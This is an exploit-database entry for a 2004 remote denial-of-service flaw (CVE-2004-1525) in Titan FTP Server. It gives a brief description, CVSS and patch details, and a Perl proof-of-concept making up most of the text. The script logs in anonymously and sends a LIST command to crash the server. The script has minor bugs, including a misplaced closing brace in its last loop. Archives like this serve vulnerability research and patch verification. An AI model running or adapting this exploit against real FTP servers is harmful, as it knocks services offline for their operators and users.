Remote Denial of Service in Titan FTP Server

vendor:

Titan FTP Server

by:

Not mentioned

5.5

CVSS

MEDIUM

Denial of Service

399

CWE

Product Name: Titan FTP Server

Affected Version From: Not mentioned

Affected Version To: Not mentioned

Patch Exists: YES

Related CWE: CVE-2004-1525

CPE: a:titanftp:titan_ftp_server

Metasploit:

Other Scripts:

Platforms Tested:

2004

Remote Denial of Service in Titan FTP Server

The Titan FTP server is vulnerable to a remote denial of service (DoS) attack when handling the 'LIST' command. A remote attacker can exploit this vulnerability by sending a specially crafted 'LIST' command to the FTP server, causing it to crash.

Mitigation:

The vendor released a patch to address this vulnerability. Users are advised to update to the latest version of Titan FTP server to mitigate this issue.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10272/info

Titan FTP is prone to a remote denial of service vulnerability when handling the 'LIST' command.

A remote attacker can cause the FTP server to crash by improperly handling a non-existent socket.

#!/usr/bin/perl
# Test for Titan FTP server security vulnerability

use IO::Socket;

$host = "192.168.1.243";

my @combination;
$combination[0] = "LIST \r\n";

for (my $i = 0; $combination[$i] ; $i++)
{
 print "Combination: $1\n";

 $remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2112",
     );
 unless ($remote) { die "cannot connect to ftp daemon on $host" }

 print "connected\n";
 while (<$remote>)
 {
  print $_;
  if (/220 /)
  {
   last;
  }
 }

 $remote->autoflush(1);

 my $ftp = "USER anonymous\r\n";

 print $remote $ftp;
 print $ftp;

 while (<$remote>)
 {
  print $_;
  if (/331 /)
  {
   last;
  }
 }

 $ftp = "PASS a\@b.com\r\n";
 print $remote $ftp;
 print $ftp;
 
 while (<$remote>)
 {
  print $_;
  if (/230 /)
  {
   last;
  }
 }
 
 $ftp = $combination[$i];

 print $remote $ftp;
 print $ftp;

 while (<$remote>)
 {
  print $_;
  if (/150 /)
  {
   last;
  }
 

 close $remote;
}